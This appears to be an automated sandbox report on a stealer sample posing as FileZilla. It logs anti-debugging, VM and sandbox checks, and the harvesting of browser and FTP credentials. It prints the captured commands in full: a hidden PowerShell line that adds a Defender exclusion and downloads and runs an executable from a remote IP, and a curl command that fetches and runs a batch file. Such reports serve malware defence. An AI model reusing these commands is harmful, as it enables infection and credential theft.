Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -597141s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -597031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -596922s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -596813s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -596688s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -596576s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -596469s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -596344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -596234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -596125s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -596016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -595906s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -595797s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -595688s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -595563s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -595453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -595344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -595231s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -595000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -594888s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -594766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -594656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -594546s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 4332	Thread sleep time: -594437s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Activation.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Activation.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Activation.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Program Files (x86)\Fzilla\filezilla.exe

13_2_00007FF81FA5AFD0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598828	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598719	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598594	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598484	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598375	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598266	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598156	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598047	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597813	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597141	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596688	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596576	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596344	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596016	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 595906	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 595797	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 595563	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 595231	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 594888	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 594766	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 594656	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 594546	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 594437	Jump to behavior

Source: filezilla.exe, 0000000D.00000002.2598774006.000001CD07D5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_P
Source: rukT6hBo6P.tmp, 00000002.00000002.1678892537.0000000000872000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: filezilla.exe, 0000000D.00000002.2598774006.000001CD07D2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 00000006.00000003.1620094874.0000000002C91000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: Activation.exe, 0000000E.00000002.2060789056.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll"
Source: curl.exe, 00000009.00000003.1638425960.0000000003050000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1791000679.00000000085B4000.00000004.00000020.00020000.00000000.sdmp, filezilla.exe, 0000000D.00000002.2604473236.000001CD0D1D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Activation.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\AppData\Local\Activation.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Activation.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Activation.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Activation.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Activation.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Activation.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Activation.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Activation.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Activation.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat && edcf12dd-a024-4e17-9ac8-333ede06915f.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Activation.exe "C:\Users\user\AppData\Local\Activation.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Queries volume information: \Device\CdRom0\ VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Queries volume information: C:\Users VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Queries volume information: C:\ProgramData VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Queries volume information: C:\ProgramData VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Queries volume information: C:\ProgramData VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Queries volume information: C:\Users\Default VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Queries volume information: C:\Users\user\AppData\Roaming VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Activation.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct

Stealing of Sensitive Information

Yara detected Generic Stealer

Source: Yara match	File source: 0000000E.00000002.2069931701.00000000044ED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2069931701.0000000004393000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2069931701.00000000043F3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2064893036.0000000003392000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2069931701.0000000004475000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Activation.exe PID: 2044, type: MEMORYSTR

Yara detected Phemedrone Stealer

Source: Yara match	File source: 0000000E.00000002.2069931701.00000000044ED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2064893036.0000000003455000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2064893036.000000000346C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2069931701.0000000004393000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2064893036.000000000347A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2069931701.00000000043F3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2064893036.0000000003392000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2069931701.0000000004475000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Activation.exe PID: 2044, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Activation.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Activation.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\filezilla.xml~	Jump to behavior
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\filezilla.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\sitemanager.xml	Jump to behavior

Remote Access Functionality

Yara detected Generic Stealer

Source: Yara match	File source: 0000000E.00000002.2069931701.00000000044ED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2069931701.0000000004393000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2069931701.00000000043F3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2064893036.0000000003392000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
